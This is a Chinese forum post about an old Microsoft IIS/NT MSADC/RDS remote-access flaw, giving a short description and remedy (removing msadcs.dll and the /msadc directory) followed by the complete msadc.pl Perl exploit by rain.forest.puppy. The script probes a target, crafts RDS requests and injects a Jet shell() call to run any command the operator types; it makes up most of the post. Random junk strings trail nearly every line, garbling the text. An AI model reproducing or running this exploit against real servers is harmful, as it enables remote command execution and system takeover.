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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) I5AjEp  
_[6+FdS],  
涉及程序: FV<^q|K/(]  
Microsoft NT server l[ OQo|_  
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描述: i2Iu 2  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 sZ(Q4)r  
< oG\)!O  
详细: 3jQ$72_  
如果你没有时间读详细内容的话,就删除: @C6DOB  
c:\Program Files\Common Files\System\Msadc\msadcs.dll MZ#2WP)F  
有关的安全问题就没有了。 t3kh]2t  
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微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 @;-Un/'C;7  
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1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 S}oF7;'Ga  
关于利用ODBC远程漏洞的描述,请参看: r_2VExk  
bu!<0AP"N+  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm [ZpG+VAJ8  
LHGK!zI  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Xwqf Wd_  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp (%^TTe  
!N2 n@bo  
这里不再论述。 ?>Ci`XlLr  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: X\:(8C;+  
OTbjZ(  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {d5ur@G1  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! G7#~=W 2M  
xn#I7]]G  
`E%d$  
#将下面这段保存为txt文件,然后: "perl -x 文件名" x[<#mt  
yvnrZ&x :  
#!perl a[OLS+zf!P  
# A&|(%  
# MSADC/RDS 'usage' (aka exploit) script uaMm iR  
# i_9/!D  
# by rain.forest.puppy Kwmo)|7uPU  
# mCP +7q7  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +(hwe jyC  
# beta test and find errors! jfhDi6N  
jF2GHyB  
use Socket; use Getopt::Std; YRX2^v ^[  
getopts("e:vd:h:XR", \%args); |r!Qhb.!  
q>h+Ke  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; Y  .X-8  
3B]+]e~  
if (!defined $args{h} && !defined $args{R}) { Bc` A]U  
print qq~ <i @jD  
Usage: msadc.pl -h <host> { -d <delay> -X -v } \%Ih 6  
-h <host> = host you want to scan (ip or domain) -|UX}t*  
-d <seconds> = delay between calls, default 1 second }E] &13>r  
-X = dump Index Server path table, if available 2G*#Czr"  
-v = verbose `e:RZ  
-e = external dictionary file for step 5 *" +cP!  
rb4g<f|  
Or a -R will resume a command session ."g5+xX  
faeyk]u  
~; exit;} I>\?t4t  
(4gQe6tA  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; H_^u_ %:e  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >LZ)<-Mk  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} ty8!"-V1  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); JH,fg K+[  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}  PW\FcT  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } o*S $j Cf?  
X Ow^"=Oa[  
if (!defined $args{R}){ $ret = &has_msadc; , X+(wp  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} ed2 &9E>9b  
LPgI"6cP  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" .EELR]`y7I  
. "cmd /c "; M/I d\~  
$in=<STDIN>; chomp $in; X64I~*  
$command="cmd /c " . $in ; Rs`Y'_B  
LU=)\U@Q  
if (defined $args{R}) {&load; exit;} f*@:{2I.v  
9E*K44L/V  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; <W{0@?y  
&try_btcustmr; DccsVR`7  
q.Mck9R7  
print "\nStep 2: Trying to make our own DSN..."; 9`VF [* 9  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; VZ!$'??  
u$^` hzfI  
print "\nStep 3: Trying known DSNs..."; jCa;g{#@  
&known_dsn; BFRSYwPr  
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print "\nStep 4: Trying known .mdbs..."; *g}&&$b0  
&known_mdb; XsMphZnK  
b,sc  
if (defined $args{e}){ )xs,  
print "\nStep 5: Trying dictionary of DSN names..."; nlnJJM&J $  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } M- A}(r +J  
hS/'b$#  
print "Sorry Charley...maybe next time?\n"; !~kzxY  
exit; $S("- 3  
f@g  
############################################################################## n#,l&Bx  
VAzJclB  
sub sendraw { # ripped and modded from whisker i`s pM<iR.  
sleep($delay); # it's a DoS on the server! At least on mine... (pg9cM]NA  
my ($pstr)=@_; =l9#/G#R  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || @=1``z#  
die("Socket problems\n"); }Elce}  
if(connect(S,pack "SnA4x8",2,80,$target)){ b DvbM  
select(S); $|=1; eF\C?4  
print $pstr; my @in=<S>; I(S6DkU  
select(STDOUT); close(S); N#ObxOE6T"  
return @in; QQcj"s  
} else { die("Can't connect...\n"); }} (HxF\#r?  
^%^0x'"  
############################################################################## YtQWArX,  
N$b;8F  
sub make_header { # make the HTTP request k,(_R=  
my $msadc=<<EOT 2"^9t1C2  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 xo+z[OIlF  
User-Agent: ACTIVEDATA 1MSu ]) W  
Host: $ip G-<~I#k  
Content-Length: $clen aC` c^'5  
Connection: Keep-Alive boon =;{p  
u'."E7o#  
ADCClientVersion:01.06 GC3L2C0)k  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Wg&:xff  
#{1fb%L{i  
--!ADM!ROX!YOUR!WORLD! A4x3TW?  
Content-Type: application/x-varg )UUe5H6Hd0  
Content-Length: $reqlen WGK::?  
</p.OaNe  
EOT \]El%j4  
; $msadc=~s/\n/\r\n/g; CB1u_E_  
return $msadc;} &o.SmkJI  
B/}>UHM  
############################################################################## 9\2&6H  
.@V>p6MV  
sub make_req { # make the RDS request B:.rp.1   
my ($switch, $p1, $p2)=@_; EUqG"h5#A{  
my $req=""; my $t1, $t2, $query, $dsn; z`SkKn0f Y  
[t'"4  
if ($switch==1){ # this is the btcustmr.mdb query \:7EKzQ  
$query="Select * from Customers where City=" . make_shell(); * vD<6qf  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . P!EX;+7+x  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} h='=uj8o5  
NR{:4zJT  
elsif ($switch==2){ # this is general make table query .EwK>ro4  
$query="create table AZZ (B int, C varchar(10))"; H'>  
$dsn="$p1";} 7m:,-xp  
i/z7a%$   
elsif ($switch==3){ # this is general exploit table query }XU- J An  
$query="select * from AZZ where C=" . make_shell(); UJ:B:hh''  
$dsn="$p1";} -%|I  
<i-RF-*S  
elsif ($switch==4){ # attempt to hork file info from index server (#qVtN`t  
$query="select path from scope()"; N%+M+zEJ  
$dsn="Provider=MSIDXS;";} kF .b)  
dPId= w)  
elsif ($switch==5){ # bad query |zKcL3*  
$query="select"; 6np wu5!  
$dsn="$p1";} r.5F^   
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$t1= make_unicode($query); 1,,-R*x  
$t2= make_unicode($dsn); =UY@,*q:c  
$req = "\x02\x00\x03\x00"; `0F IJT  
$req.= "\x08\x00" . pack ("S1", length($t1)); yM@cml6Ox  
$req.= "\x00\x00" . $t1 ; 1wt]J!hgV  
$req.= "\x08\x00" . pack ("S1", length($t2)); X*Zv,Wm  
$req.= "\x00\x00" . $t2 ; $)!Z"2T  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; r^)<Jy0|r  
return $req;} =B1!em|  
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############################################################################## \ :.p8`  
D5x^O2  
sub make_shell { # this makes the shell() statement ,PY e7c  
return "'|shell(\"$command\")|'";} g:yK/1@Hk}  
9 pn1d.  
############################################################################## It[~0?+  
FBsw\P5w  
sub make_unicode { # quick little function to convert to unicode `u-Y 5mY  
my ($in)=@_; my $out; &7LfNN`  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } 0ZN/-2c A#  
return $out;} mf#oa~_  
WyP1"e^ 9  
############################################################################## ZUycJ-[  
[aC(Ga}  
sub rdo_success { # checks for RDO return success (this is kludge) cf9y0  
my (@in) = @_; my $base=content_start(@in); {;U:0BPI3  
if($in[$base]=~/multipart\/mixed/){ Nsq%b?#  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} =[kv@ p  
return 0;} UuGv= yC^6  
^&Bye?`5  
############################################################################## uY,FugWbl  
x/~M=][tN  
sub make_dsn { # this makes a DSN for us 3-'|hb  
my @drives=("c","d","e","f"); gK /K Z8  
print "\nMaking DSN: "; 4)_ [)MZ\j  
foreach $drive (@drives) { OuoZd!"qf  
print "$drive: "; #~b9H05D  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . `m5iZxhw  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" V.J%4&^X  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ZfU_4Pl->  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; @u^Ib33  
return 0 if $2 eq "404"; # not found/doesn't exist !k:j+h/  
if($2 eq "200") { sp%7iNs  
foreach $line (@results) { JLhp25{x  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} y3#\mBiw  
} return 0;} 4/b#$o<I?  
ctGjqHo  
############################################################################## SDkN  
myXV~6R 3  
sub verify_exists { e(Ve rd:c  
my ($page)=@_; vjpe'zx  
my @results=sendraw("GET $page HTTP/1.0\n\n"); LPC7Bdjz  
return $results[0];} J0IK =Y  
A.[T#ZB.4  
############################################################################## s= :n<`Z2  
!s$fqn 6  
sub try_btcustmr { zv41Yv!x}  
my @drives=("c","d","e","f"); ee0J;pP2#  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /bWV `*  
!E%!,  
foreach $dir (@dirs) { (<12&=WxE  
print "$dir -> "; # fun status so you can see progress wZ^/-  
foreach $drive (@drives) { [kCn6\_<V  
print "$drive: "; # ditto 2rxdRg'YLQ  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; z,)Fvs4U.  
$reqlenlen=length( "$reqlen" ); m#Cp.|>kP4  
$clen= 206 + $reqlenlen + $reqlen; \ys3&<;b  
2.6,c$2tB  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); cMj<k8.{  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} x\*5A,w{c]  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} O1 z>A  
=c|Bu^(Ctw  
############################################################################## -&c@c@dC  
{PU[MHZF  
sub odbc_error { ]n{2cPx5d  
my (@in)=@_; my $base; xsfq[}eH<  
my $base = content_start(@in); #\}hN~@F  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this X_h+\ 7N>  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; YXvKDw'95  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; .}tL:^'~o  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; HV}NT~  
return $in[$base+4].$in[$base+5].$in[$base+6];} Y !`H_Qo  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ]C!u~A\jq  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 1yhx)m;f  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} E_++yK^=  
A#T;Gi  
############################################################################## og>f1NwS[  
bHp|> g  
sub verbose { 9DIGK\  
my ($in)=@_; /F\7_  
return if !$verbose; I0Vm^\8  
print STDOUT "\n$in\n";} 8w{V[@QLn  
dWI\VS9  
############################################################################## .8"o&%$`V  
{S|uQgs6j  
sub save { +/ #J]v-  
my ($p1, $p2, $p3, $p4)=@_; cJt#8P  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; n1H*][CK  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; lB-Njr  
close OUT;} ag3T[}L z  
B$\5=[U  
############################################################################## ar6Z?v$  
3LEN~ N}  
sub load { (F @IUbnl  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 8} U/fQ~  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); zR e0z2  
@p=<IN>; close(IN); +Y .As  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); =/zQJzN  
$target= inet_aton($ip) || die("inet_aton problems"); R)#"Ab Z'  
print "Resuming to $ip ..."; n44j]+P  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; C ZJW`c/  
if($p[1]==1) { ddw!FH2W (  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; !XK p_v  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; &oT]ycz%  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); tvd/Y|bV=  
if (rdo_success(@results)){print "Success!\n";} *bR _ C"-  
else { print "failed\n"; verbose(odbc_error(@results));}} FCg,p2  
elsif ($p[1]==3){ v'|Dj^3[  
if(run_query("$p[3]")){ }+SnY8A=KZ  
print "Success!\n";} else { print "failed\n"; }} b7\nCRY  
elsif ($p[1]==4){ 3c6<JW  
if(run_query($drvst . "$p[3]")){ _3)~{dQ+  
print "Success!\n"; } else { print "failed\n"; }} +jHL==W&  
exit;} U7{, *  
>:Rc%ILym  
############################################################################## b+w|3bQa  
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sub create_table { \wTW hr0  
my ($in)=@_; AR&u9Y)I  
$reqlen=length( make_req(2,$in,"") ) - 28; ^.k}YSWut  
$reqlenlen=length( "$reqlen" ); Jr#ptf"Wu  
$clen= 206 + $reqlenlen + $reqlen; zg)]:  
my @results=sendraw(make_header() . make_req(2,$in,"")); FQ);el'_V  
return 1 if rdo_success(@results); f}o`3v*z  
my $temp= odbc_error(@results); verbose($temp); {Bu^%JEn  
return 1 if $temp=~/Table 'AZZ' already exists/; >ztv3^w  
return 0;} e\\ I,  
uYV# '%  
############################################################################## ).k=[@@V  
p`Ax)L\f  
sub known_dsn { `2GHB@S"k  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 2 &R-z G  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", [^aow-4z  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", 1 ,Y-_e)  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); n`}vcVL;  
kGCd!$fsk  
foreach $dSn (@dsns) { hMi`n6m  
print "."; ZU/6#pb  
next if (!is_access("DSN=$dSn")); e5MX5 T^  
if(create_table("DSN=$dSn")){ g&v2=&aj  
print "$dSn successful\n"; Zpg$:Rr  
if(run_query("DSN=$dSn")){ 75gE>:f  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { Dk/;`sXV  
print "Something's borked. Use verbose next time\n";}}} print "\n";} 7 v#sr<  
BsR xD9r  
############################################################################## 'r3I/qg*m  
{G_ZEo#x8,  
sub is_access { ) _"`{2  
my ($in)=@_; \  VJ3  
$reqlen=length( make_req(5,$in,"") ) - 28; XD9lox  
$reqlenlen=length( "$reqlen" ); k|1/gd5  
$clen= 206 + $reqlenlen + $reqlen; 1H%LUA  
my @results=sendraw(make_header() . make_req(5,$in,"")); c_+}`  
my $temp= odbc_error(@results); vWwp'q  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); e;!si>N  
return 0;} g;vG6!;E\  
( J5E]NV  
############################################################################## =ejkE; %L  
@"];\E$sI  
sub run_query { vTN$SgzfCU  
my ($in)=@_; YS%HZFY, "  
$reqlen=length( make_req(3,$in,"") ) - 28;   "Qm  
$reqlenlen=length( "$reqlen" ); e5C560  
$clen= 206 + $reqlenlen + $reqlen; }>>BKn   
my @results=sendraw(make_header() . make_req(3,$in,"")); V{ECDg P  
return 1 if rdo_success(@results); a*! wiTGf  
my $temp= odbc_error(@results); verbose($temp); "4|D"|wI)  
return 0;} o|$l+TC  
R Mrh@9g  
############################################################################## Z_Hc":4i  
YrFB~z.V  
sub known_mdb { b v~"_)C  
my @drives=("c","d","e","f","g"); P;{f+I|`  
my @dirs=("winnt","winnt35","winnt351","win","windows"); )mS Aog<  
my $dir, $drive, $mdb; *ax$R6a#X  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; V~%!-7?  
_|`S9Nms  
# this is sparse, because I don't know of many ,)|nxX  
my @sysmdbs=( "\\catroot\\icatalog.mdb", V'^Hn?1^  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", D!+d]A[r  
"\\system32\\certmdb.mdb", H9F\<5n]-l  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% ymiOtA Z  
D `c YQ-  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", k9xfv@v}  
"\\cfusion\\cfapps\\forums\\forums_.mdb", iO~3rWQ  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", <x *.M"6?  
"\\cfusion\\cfapps\\security\\realm_.mdb", {rBS52,Z#  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", p~6/  
"\\cfusion\\database\\cfexamples.mdb", a^>0XXr}Y  
"\\cfusion\\database\\cfsnippets.mdb", TDq(%IW  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", Z`Rrv$M!  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", Nyip]VwMJ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", uPQ:}zL2  
"\\cfusion\\database\\smpolicy.mdb", ^giseWR(  
"\\cfusion\\database\cypress.mdb", :>c33X}  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {}y"JbXMj  
"\\website\\cgi-win\\dbsample.mdb", 6=0"3%jn@  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .Ce30VE-  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" K1Snag  
); #these are just Tq,Kel  
foreach $drive (@drives) { IC"bg<L,*  
foreach $dir (@dirs){ [< Bk% B5  
foreach $mdb (@sysmdbs) { ]nY,%XE  
print "."; <k+dJ=f  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ KLrxlD4\  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; =W$ f +  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ f .-b.nNf  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; b*&AIiT  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Z9,-FO{#3-  
F[R Q6 PW  
foreach $drive (@drives) { Nk*d=vj  
foreach $mdb (@mdbs) { $aDAD4mmm  
print "."; ^{lcj  
if(create_table($drv . $drive . $dir . $mdb)){ Ii FeO  
print "\n" . $drive . $dir . $mdb . " successful\n"; PUZH[-:c  
if(run_query($drv . $drive . $dir . $mdb)){ V(3^ev/  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; >Z r f}H  
} else { print "Something's borked. Use verbose next time\n"; }}}} +twl`Z3n  
} QH7"' u6  
wVX]"o  
############################################################################## WdI9))J2S  
yyB;'4Af  
sub hork_idx { jfF   
print "\nAttempting to dump Index Server tables...\n"; G<:_O-cPSv  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; GCm(3%{V%(  
$reqlen=length( make_req(4,"","") ) - 28; 5+Fr/C  
$reqlenlen=length( "$reqlen" ); 4c^WQ>[  
$clen= 206 + $reqlenlen + $reqlen; @)k/t>r(  
my @results=sendraw2(make_header() . make_req(4,"","")); |mvY=t %  
if (rdo_success(@results)){ KcKdhqdN-  
my $max=@results; my $c; my %d; /enlkZx=8  
for($c=19; $c<$max; $c++){ UEHJ? }  
$results[$c]=~s/\x00//g; &y_Ya%Z3*e  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; X?whyD)vE@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 0P i+ (X  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; AQ+MjS,  
$d{"$1$2"}="";} v,]-;V~<  
foreach $c (keys %d){ print "$c\n"; } i[L5,%5<H  
} else {print "Index server doesn't seem to be installed.\n"; }} )S"!)\4 b  
m#w1?y)Z@X  
############################################################################## b?i5C4=K  
0])D)%B k  
sub dsn_dict { I8};t b#  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); uIh68UM  
while(<IN>){ b$FK}D5  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; F/p/&9  
next if (!is_access("DSN=$dSn")); )<YfLDgTs  
if(create_table("DSN=$dSn")){ 6.5E d-  
print "$dSn successful\n"; lidVe]>  
if(run_query("DSN=$dSn")){ V9`?s0nn^  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ./5LV)_`  
print "Something's borked. Use verbose next time\n";}}} hNU$a?eVpR  
print "\n"; close(IN);} D]tI's1  
Z:eB9R#2y  
############################################################################## |xYr0C[Pq  
vo (riHH  
sub sendraw2 { # ripped and modded from whisker YOOcHo.F  
sleep($delay); # it's a DoS on the server! At least on mine... "{9^SPsp  
my ($pstr)=@_; R ?62g H  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || {:;6 *W  
die("Socket problems\n"); OTe h8h  
if(connect(S,pack "SnA4x8",2,80,$target)){ (fNG51h!  
print "Connected. Getting data"; qkXnpv  
open(OUT,">raw.out"); my @in; l(A)Gd5>  
select(S); $|=1; print $pstr; ;*(i}'  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} 6&* z  
close(OUT); select(STDOUT); close(S); return @in; fM/~k>wl  
} else { die("Can't connect...\n"); }} ^O6eFD U  
Hnft1   
############################################################################## VEsIhjQ  
S$N!Dj@e;  
sub content_start { # this will take in the server headers Fv_B(a  
my (@in)=@_; my $c; !}lCwV  
for ($c=1;$c<500;$c++) { s@ 02 ?+/  
if($in[$c] =~/^\x0d\x0a/){ MoZ8A6e?B  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } QJ\+u  
else { return $c+1; }}} qt{lZ_$  
return -1;} # it should never get here actually iWGn4p'  
o[^nmHrM2  
############################################################################## ~Vt?'v20@  
%fuV]  
sub funky { /6 y9 u}  
my (@in)=@_; my $error=odbc_error(@in); F:7 d}Jx  
if($error=~/ADO could not find the specified provider/){ 43.Q);4  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; jhR`%aH4  
exit;} O,PTY^  
if($error=~/A Handler is required/){ w%1-_;.aU6  
print "\nServer has custom handler filters (they most likely are patched)\n"; z{H=;"+rh  
exit;} B@j2^Dr~!  
if($error=~/specified Handler has denied Access/){ +lplQh@RB  
print "\nServer has custom handler filters (they most likely are patched)\n"; sEymwpm9  
exit;}} c/lT S  
T{So 2@_&  
############################################################################## yQcIfl]f  
1SF8D`3  
sub has_msadc { 0fJz[;dV>n  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); &K*Kr=9N  
my $base=content_start(@results); Np"~1z.(b  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); A('o &H  
return 0;} g@zhhBtQ  
9ls*L!Jw  
######################## D wfw|h  
v#|yr<  
?zuKVi? I  
解决方案: sTS/ ]"l  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll _]v@Dq VP  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 '=0l{hv@  
8 =oUE$9  
拿出来充数 哈哈
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